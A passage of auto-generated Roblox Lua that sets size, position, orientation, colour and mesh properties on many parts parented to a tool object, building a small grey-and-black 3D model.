  3461. Part277.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3462. Part277.CFrame = CFrame.new(26.8973389, 1.39624, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3463. Part277.BottomSurface = Enum.SurfaceType.Smooth
  3464. Part277.TopSurface = Enum.SurfaceType.Smooth
  3465. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3466. Part277.Position = Vector3.new(26.8973389, 1.39624, 139.970337)
  3467. Part277.Orientation = Vector3.new(0, 179.459991, 0)
  3468. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3469. BlockMesh278.Parent = Part277
  3470. BlockMesh278.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
  3471. BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3472. BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3473. Part279.Parent = Tool0
  3474. Part279.Material = Enum.Material.SmoothPlastic
  3475. Part279.BrickColor = BrickColor.new("Really black")
  3476. Part279.Rotation = Vector3.new(-180, 0.539999962, -180)
  3477. Part279.Anchored = true
  3478. Part279.FormFactor = Enum.FormFactor.Custom
  3479. Part279.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3480. Part279.CFrame = CFrame.new(26.8973389, 1.36621106, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3481. Part279.BottomSurface = Enum.SurfaceType.Smooth
  3482. Part279.TopSurface = Enum.SurfaceType.Smooth
  3483. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3484. Part279.Position = Vector3.new(26.8973389, 1.36621106, 139.970337)
  3485. Part279.Orientation = Vector3.new(0, 179.459991, 0)
  3486. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3487. BlockMesh280.Parent = Part279
  3488. BlockMesh280.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
  3489. BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3490. BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3491. Part281.Parent = Tool0
  3492. Part281.Material = Enum.Material.SmoothPlastic
  3493. Part281.BrickColor = BrickColor.new("Dark stone grey")
  3494. Part281.Rotation = Vector3.new(0, 89.4599991, 180)
  3495. Part281.Anchored = true
  3496. Part281.FormFactor = Enum.FormFactor.Custom
  3497. Part281.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3498. Part281.CFrame = CFrame.new(27.02771, 1.67529297, 140.148438, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
  3499. Part281.BottomSurface = Enum.SurfaceType.Smooth
  3500. Part281.TopSurface = Enum.SurfaceType.Smooth
  3501. Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3502. Part281.Position = Vector3.new(27.02771, 1.67529297, 140.148438)
  3503. Part281.Orientation = Vector3.new(0, 89.4599991, -180)
  3504. Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3505. SpecialMesh282.Parent = Part281
  3506. SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3507. SpecialMesh282.MeshType = Enum.MeshType.Wedge
  3508. SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3509. Part283.Parent = Tool0
  3510. Part283.Material = Enum.Material.SmoothPlastic
  3511. Part283.BrickColor = BrickColor.new("Really black")
  3512. Part283.Rotation = Vector3.new(-180, 0.539999962, -180)
  3513. Part283.Anchored = true
  3514. Part283.FormFactor = Enum.FormFactor.Custom
  3515. Part283.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3516. Part283.CFrame = CFrame.new(26.9016113, 1.336182, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3517. Part283.BottomSurface = Enum.SurfaceType.Smooth
  3518. Part283.TopSurface = Enum.SurfaceType.Smooth
  3519. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3520. Part283.Position = Vector3.new(26.9016113, 1.336182, 139.550354)
  3521. Part283.Orientation = Vector3.new(0, 179.459991, 0)
  3522. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3523. BlockMesh284.Parent = Part283
  3524. BlockMesh284.Offset = Vector3.new(-0.180000007, 0, 0)
  3525. BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3526. BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3527. Part285.Parent = Tool0
  3528. Part285.Material = Enum.Material.SmoothPlastic
  3529. Part285.BrickColor = BrickColor.new("Really black")
  3530. Part285.Rotation = Vector3.new(-180, 0.539999962, -180)
  3531. Part285.Anchored = true
  3532. Part285.FormFactor = Enum.FormFactor.Custom
  3533. Part285.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3534. Part285.CFrame = CFrame.new(26.9016113, 1.36621106, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3535. Part285.BottomSurface = Enum.SurfaceType.Smooth
  3536. Part285.TopSurface = Enum.SurfaceType.Smooth
  3537. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3538. Part285.Position = Vector3.new(26.9016113, 1.36621106, 139.550354)
  3539. Part285.Orientation = Vector3.new(0, 179.459991, 0)
  3540. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3541. BlockMesh286.Parent = Part285
  3542. BlockMesh286.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
  3543. BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3544. BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3545. Part287.Parent = Tool0
  3546. Part287.Material = Enum.Material.SmoothPlastic
  3547. Part287.BrickColor = BrickColor.new("Really black")
  3548. Part287.Rotation = Vector3.new(-180, 0.539999962, -180)
  3549. Part287.Anchored = true
  3550. Part287.FormFactor = Enum.FormFactor.Custom
  3551. Part287.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3552. Part287.CFrame = CFrame.new(26.8973389, 1.336182, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3553. Part287.BottomSurface = Enum.SurfaceType.Smooth
  3554. Part287.TopSurface = Enum.SurfaceType.Smooth
  3555. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3556. Part287.Position = Vector3.new(26.8973389, 1.336182, 139.970337)
  3557. Part287.Orientation = Vector3.new(0, 179.459991, 0)
  3558. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3559. BlockMesh288.Parent = Part287
  3560. BlockMesh288.Offset = Vector3.new(-0.180000007, 0, 0)
  3561. BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3562. BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3563. Part289.Parent = Tool0
  3564. Part289.Material = Enum.Material.SmoothPlastic
  3565. Part289.BrickColor = BrickColor.new("Dark stone grey")
  3566. Part289.Rotation = Vector3.new(-180, -89.4599991, -180)
  3567. Part289.Anchored = true
  3568. Part289.FormFactor = Enum.FormFactor.Custom
  3569. Part289.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3570. Part289.CFrame = CFrame.new(27.0336914, 1.67529297, 140.148499, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  3571. Part289.BottomSurface = Enum.SurfaceType.Smooth
  3572. Part289.TopSurface = Enum.SurfaceType.Smooth
  3573. Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3574. Part289.Position = Vector3.new(27.0336914, 1.67529297, 140.148499)
  3575. Part289.Orientation = Vector3.new(0, -90.5400009, 0)
  3576. Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3577. SpecialMesh290.Parent = Part289
  3578. SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3579. SpecialMesh290.MeshType = Enum.MeshType.Wedge
  3580. SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3581. Part291.Parent = Tool0
  3582. Part291.Material = Enum.Material.SmoothPlastic
  3583. Part291.BrickColor = BrickColor.new("Dark stone grey")
  3584. Part291.Rotation = Vector3.new(0, 89.4599991, 0)
  3585. Part291.Anchored = true
  3586. Part291.FormFactor = Enum.FormFactor.Custom
  3587. Part291.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3588. Part291.CFrame = CFrame.new(27.118042, 1.67529297, 140.149475, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
  3589. Part291.BottomSurface = Enum.SurfaceType.Smooth
  3590. Part291.TopSurface = Enum.SurfaceType.Smooth
  3591. Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3592. Part291.Position = Vector3.new(27.118042, 1.67529297, 140.149475)
  3593. Part291.Orientation = Vector3.new(0, 89.4599991, 0)
  3594. Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3595. SpecialMesh292.Parent = Part291
  3596. SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3597. SpecialMesh292.MeshType = Enum.MeshType.Wedge
  3598. SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3599. Part293.Parent = Tool0
  3600. Part293.Material = Enum.Material.SmoothPlastic
  3601. Part293.BrickColor = BrickColor.new("Dark stone grey")
  3602. Part293.Rotation = Vector3.new(-180, -89.4599991, 0)
  3603. Part293.Anchored = true
  3604. Part293.FormFactor = Enum.FormFactor.Custom
  3605. Part293.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3606. Part293.CFrame = CFrame.new(27.1236572, 1.67529297, 140.149292, 0.00939139724, 2.48428307e-07, -0.999955833, 2.35526358e-07, -0.999999821, 2.20843248e-07, -0.999955356, -2.33203508e-07, -0.00939165056)
  3607. Part293.BottomSurface = Enum.SurfaceType.Smooth
  3608. Part293.TopSurface = Enum.SurfaceType.Smooth
  3609. Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3610. Part293.Position = Vector3.new(27.1236572, 1.67529297, 140.149292)
  3611. Part293.Orientation = Vector3.new(0, -90.5400009, 180)
  3612. Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3613. SpecialMesh294.Parent = Part293
  3614. SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3615. SpecialMesh294.MeshType = Enum.MeshType.Wedge
  3616. SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3617. Part295.Parent = Tool0
  3618. Part295.Material = Enum.Material.SmoothPlastic
  3619. Part295.BrickColor = BrickColor.new("Dark stone grey")
  3620. Part295.Rotation = Vector3.new(0, -0.539999962, 0)
  3621. Part295.Anchored = true
  3622. Part295.FormFactor = Enum.FormFactor.Custom
  3623. Part295.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3624. Part295.CFrame = CFrame.new(27.0336914, 1.64526403, 140.148499, 0.999955833, 4.35706333e-08, -0.00939139724, -4.37113776e-08, 0.999999821, -1.47811212e-08, 0.00939165056, 1.51909632e-08, 0.999955356)
  3625. Part295.BottomSurface = Enum.SurfaceType.Smooth
  3626. Part295.TopSurface = Enum.SurfaceType.Smooth
  3627. Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3628. Part295.Position = Vector3.new(27.0336914, 1.64526403, 140.148499)
  3629. Part295.Orientation = Vector3.new(0, -0.539999962, 0)
  3630. Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3631. BlockMesh296.Parent = Part295
  3632. BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3633. BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3634. Part297.Parent = Tool0
  3635. Part297.Material = Enum.Material.SmoothPlastic
  3636. Part297.BrickColor = BrickColor.new("Dark stone grey")
  3637. Part297.Rotation = Vector3.new(0, -0.539999962, 0)
  3638. Part297.Anchored = true
  3639. Part297.FormFactor = Enum.FormFactor.Custom
  3640. Part297.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3641. Part297.CFrame = CFrame.new(27.118042, 1.64526403, 140.149475, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3642. Part297.BottomSurface = Enum.SurfaceType.Smooth
  3643. Part297.TopSurface = Enum.SurfaceType.Smooth
  3644. Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3645. Part297.Position = Vector3.new(27.118042, 1.64526403, 140.149475)
  3646. Part297.Orientation = Vector3.new(0, -0.539999962, 0)
  3647. Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3648. BlockMesh298.Parent = Part297
  3649. BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3650. BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3651. Part299.Parent = Tool0
  3652. Part299.Material = Enum.Material.SmoothPlastic
  3653. Part299.BrickColor = BrickColor.new("Dark stone grey")
  3654. Part299.Rotation = Vector3.new(0, -0.539999962, 0)
  3655. Part299.Anchored = true
  3656. Part299.FormFactor = Enum.FormFactor.Custom
  3657. Part299.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3658. Part299.CFrame = CFrame.new(27.0756836, 1.66015601, 140.148926, 0.999955833, -1.8716446e-07, -0.00939139724, -1.59576587e-07, 0.999999821, -2.35526358e-07, 0.00939165056, 2.33778906e-07, 0.999955356)
  3659. Part299.BottomSurface = Enum.SurfaceType.Smooth
  3660. Part299.TopSurface = Enum.SurfaceType.Smooth
  3661. Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3662. Part299.Position = Vector3.new(27.0756836, 1.66015601, 140.148926)
  3663. Part299.Orientation = Vector3.new(0, -0.539999962, 0)
  3664. Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3665. BlockMesh300.Parent = Part299
  3666. BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
  3667. BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
  3668. Part301.Parent = Tool0
  3669. Part301.Material = Enum.Material.SmoothPlastic
  3670. Part301.BrickColor = BrickColor.new("Dark stone grey")
  3671. Part301.Rotation = Vector3.new(0, 89.4599991, 0)
  3672. Part301.Anchored = true
  3673. Part301.FormFactor = Enum.FormFactor.Custom
  3674. Part301.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3675. Part301.CFrame = CFrame.new(27.069458, 1.66015601, 140.148804, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
  3676. Part301.BottomSurface = Enum.SurfaceType.Smooth
  3677. Part301.TopSurface = Enum.SurfaceType.Smooth
  3678. Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3679. Part301.Position = Vector3.new(27.069458, 1.66015601, 140.148804)
  3680. Part301.Orientation = Vector3.new(0, 89.4599991, 0)
  3681. Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3682. SpecialMesh302.Parent = Part301
  3683. SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3684. SpecialMesh302.MeshType = Enum.MeshType.Wedge
  3685. SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3686. Part303.Parent = Tool0
  3687. Part303.Material = Enum.Material.SmoothPlastic
  3688. Part303.BrickColor = BrickColor.new("Dark stone grey")
  3689. Part303.Rotation = Vector3.new(-180, -89.4599991, 180)
  3690. Part303.Anchored = true
  3691. Part303.FormFactor = Enum.FormFactor.Custom
  3692. Part303.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3693. Part303.CFrame = CFrame.new(27.0811768, 1.66015601, 140.149109, -0.00939139724, -2.17796412e-07, -0.999955833, -2.35526358e-07, 0.999999821, 1.90209889e-07, 0.999955356, 2.33491207e-07, -0.00939165056)
  3694. Part303.BottomSurface = Enum.SurfaceType.Smooth
  3695. Part303.TopSurface = Enum.SurfaceType.Smooth
  3696. Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3697. Part303.Position = Vector3.new(27.0811768, 1.66015601, 140.149109)
  3698. Part303.Orientation = Vector3.new(0, -90.5400009, 0)
  3699. Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3700. SpecialMesh304.Parent = Part303
  3701. SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3702. SpecialMesh304.MeshType = Enum.MeshType.Wedge
  3703. SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3704. Part305.Parent = Tool0
  3705. Part305.Material = Enum.Material.SmoothPlastic
  3706. Part305.BrickColor = BrickColor.new("Dark stone grey")
  3707. Part305.Rotation = Vector3.new(0, -0.539999962, 0)
  3708. Part305.Anchored = true
  3709. Part305.FormFactor = Enum.FormFactor.Custom
  3710. Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3711. Part305.CFrame = CFrame.new(27.0756836, 1.54028296, 140.148926, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3712. Part305.BottomSurface = Enum.SurfaceType.Smooth
  3713. Part305.TopSurface = Enum.SurfaceType.Smooth
  3714. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3715. Part305.Position = Vector3.new(27.0756836, 1.54028296, 140.148926)
  3716. Part305.Orientation = Vector3.new(0, -0.539999962, 0)
  3717. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3718. BlockMesh306.Parent = Part305
  3719. BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
  3720. BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
  3721. Part307.Parent = Tool0
  3722. Part307.Material = Enum.Material.SmoothPlastic
  3723. Part307.BrickColor = BrickColor.new("Dark stone grey")
  3724. Part307.Rotation = Vector3.new(0, -0.539999962, 0)
  3725. Part307.Anchored = true
  3726. Part307.FormFactor = Enum.FormFactor.Custom
  3727. Part307.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3728. Part307.CFrame = CFrame.new(27.0330811, 1.60620105, 138.321472, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
  3729. Part307.BottomSurface = Enum.SurfaceType.Smooth
  3730. Part307.TopSurface = Enum.SurfaceType.Smooth
  3731. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3732. Part307.Position = Vector3.new(27.0330811, 1.60620105, 138.321472)
  3733. Part307.Orientation = Vector3.new(0, -0.539999962, 0)
  3734. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3735. BlockMesh308.Parent = Part307
  3736. BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3737. BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3738. Part309.Parent = Tool0
  3739. Part309.Material = Enum.Material.SmoothPlastic
  3740. Part309.BrickColor = BrickColor.new("Dark stone grey")
  3741. Part309.Rotation = Vector3.new(0, -0.539999962, 0)
  3742. Part309.Anchored = true
  3743. Part309.FormFactor = Enum.FormFactor.Custom
  3744. Part309.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3745. Part309.CFrame = CFrame.new(27.1530762, 1.60620105, 138.323853, 0.999955833, -9.16734137e-08, -0.00939139724, -1.613449e-07, 0.999999821, -4.10036698e-08, 0.00939165056, 4.01372162e-08, 0.999955356)
  3746. Part309.BottomSurface = Enum.SurfaceType.Smooth
  3747. Part309.TopSurface = Enum.SurfaceType.Smooth
  3748. Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3749. Part309.Position = Vector3.new(27.1530762, 1.60620105, 138.323853)
  3750. Part309.Orientation = Vector3.new(0, -0.539999962, 0)
  3751. Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3752. BlockMesh310.Parent = Part309
  3753. BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3754. BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3755. Part311.Parent = Tool0
  3756. Part311.Material = Enum.Material.SmoothPlastic
  3757. Part311.BrickColor = BrickColor.new("Dark stone grey")
  3758. Part311.Rotation = Vector3.new(0, 89.4599991, -180)
  3759. Part311.Anchored = true
  3760. Part311.FormFactor = Enum.FormFactor.Custom
  3761. Part311.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3762. Part311.CFrame = CFrame.new(27.0330811, 1.53710902, 138.321472, -0.00939139724, 9.964117e-08, 0.999955833, 4.65915591e-08, -0.999999583, -1.52554577e-07, 0.999955356, 4.74784869e-08, 0.00939165056)
  3763. Part311.BottomSurface = Enum.SurfaceType.Smooth
  3764. Part311.TopSurface = Enum.SurfaceType.Smooth
  3765. Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3766. Part311.Position = Vector3.new(27.0330811, 1.53710902, 138.321472)
  3767. Part311.Orientation = Vector3.new(0, 89.4599991, 180)
  3768. Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3769. SpecialMesh312.Parent = Part311
  3770. SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3771. SpecialMesh312.MeshType = Enum.MeshType.Wedge
  3772. SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3773. Part313.Parent = Tool0
  3774. Part313.Material = Enum.Material.SmoothPlastic
  3775. Part313.BrickColor = BrickColor.new("Dark stone grey")
  3776. Part313.Rotation = Vector3.new(-180, -89.4599991, 0)
  3777. Part313.Anchored = true
  3778. Part313.FormFactor = Enum.FormFactor.Custom
  3779. Part313.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3780. Part313.CFrame = CFrame.new(27.15271, 1.53710902, 138.322876, 0.00939139724, 9.96410279e-08, -0.999955833, -4.65770071e-08, -0.999999702, 1.52554605e-07, -0.999955356, 4.74930104e-08, -0.00939165056)
  3781. Part313.BottomSurface = Enum.SurfaceType.Smooth
  3782. Part313.TopSurface = Enum.SurfaceType.Smooth
  3783. Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3784. Part313.Position = Vector3.new(27.15271, 1.53710902, 138.322876)
  3785. Part313.Orientation = Vector3.new(0, -90.5400009, -180)
  3786. Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3787. SpecialMesh314.Parent = Part313
  3788. SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3789. SpecialMesh314.MeshType = Enum.MeshType.Wedge
  3790. SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3791. Part315.Parent = Tool0
  3792. Part315.Material = Enum.Material.SmoothPlastic
  3793. Part315.BrickColor = BrickColor.new("Dark stone grey")
  3794. Part315.Rotation = Vector3.new(0, -0.539999962, 0)
  3795. Part315.Anchored = true
  3796. Part315.FormFactor = Enum.FormFactor.Custom
  3797. Part315.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3798. Part315.CFrame = CFrame.new(27.0926514, 1.51025403, 138.32196, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
  3799. Part315.BottomSurface = Enum.SurfaceType.Smooth
  3800. Part315.TopSurface = Enum.SurfaceType.Smooth
  3801. Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3802. Part315.Position = Vector3.new(27.0926514, 1.51025403, 138.32196)
  3803. Part315.Orientation = Vector3.new(0, -0.539999962, 0)
  3804. Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3805. BlockMesh316.Parent = Part315
  3806. BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
  3807. BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
  3808. Part317.Parent = Tool0
  3809. Part317.Material = Enum.Material.SmoothPlastic
  3810. Part317.Rotation = Vector3.new(90, 0, -89.4599991)
  3811. Part317.Anchored = true
  3812. Part317.FormFactor = Enum.FormFactor.Custom
  3813. Part317.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3814. Part317.CFrame = CFrame.new(27.0925293, 1.60913098, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
  3815. Part317.BottomSurface = Enum.SurfaceType.Smooth
  3816. Part317.TopSurface = Enum.SurfaceType.Smooth
  3817. Part317.Position = Vector3.new(27.0925293, 1.60913098, 138.346024)
  3818. Part317.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
  3819. CylinderMesh318.Parent = Part317
  3820. CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
  3821. CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
  3822. Part319.Parent = Tool0
  3823. Part319.Material = Enum.Material.SmoothPlastic
  3824. Part319.BrickColor = BrickColor.new("Dark stone grey")
  3825. Part319.Rotation = Vector3.new(0, -0.539999962, 0)
  3826. Part319.Anchored = true
  3827. Part319.FormFactor = Enum.FormFactor.Custom
  3828. Part319.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3829. Part319.CFrame = CFrame.new(27.0330811, 1.47119105, 138.321472, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3830. Part319.BottomSurface = Enum.SurfaceType.Smooth
  3831. Part319.TopSurface = Enum.SurfaceType.Smooth
  3832. Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3833. Part319.Position = Vector3.new(27.0330811, 1.47119105, 138.321472)
  3834. Part319.Orientation = Vector3.new(0, -0.539999962, 0)
  3835. Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3836. BlockMesh320.Parent = Part319
  3837. BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3838. BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3839. Part321.Parent = Tool0
  3840. Part321.Material = Enum.Material.SmoothPlastic
  3841. Part321.BrickColor = BrickColor.new("Dark stone grey")
  3842. Part321.Rotation = Vector3.new(90, 0, -89.4599991)
  3843. Part321.Anchored = true
  3844. Part321.FormFactor = Enum.FormFactor.Custom
  3845. Part321.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3846. Part321.CFrame = CFrame.new(27.0925293, 1.58227503, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
  3847. Part321.BottomSurface = Enum.SurfaceType.Smooth
  3848. Part321.TopSurface = Enum.SurfaceType.Smooth
  3849. Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3850. Part321.Position = Vector3.new(27.0925293, 1.58227503, 138.346024)
  3851. Part321.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
  3852. Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3853. CylinderMesh322.Parent = Part321
  3854. CylinderMesh322.Offset = Vector3.new(0, 0, -0.0269999988)
  3855. CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
  3856. CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
  3857. Part323.Parent = Tool0
  3858. Part323.Material = Enum.Material.SmoothPlastic
  3859. Part323.BrickColor = BrickColor.new("Dark stone grey")
  3860. Part323.Rotation = Vector3.new(90.5400009, -45, -89.2399979)
  3861. Part323.Anchored = true
  3862. Part323.FormFactor = Enum.FormFactor.Custom
  3863. Part323.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3864. Part323.CFrame = CFrame.new(27.1077881, 1.63916004, 138.346252, 0.00939139724, 0.707075477, -0.707075417, 3.55030458e-08, -0.70710659, -0.707106471, -0.999955356, 0.00664065778, -0.00664073229)
  3865. Part323.BottomSurface = Enum.SurfaceType.Smooth
  3866. Part323.TopSurface = Enum.SurfaceType.Smooth
  3867. Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3868. Part323.Position = Vector3.new(27.1077881, 1.63916004, 138.346252)
  3869. Part323.Orientation = Vector3.new(45, -90.5400009, 180)
  3870. Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3871. BlockMesh324.Parent = Part323
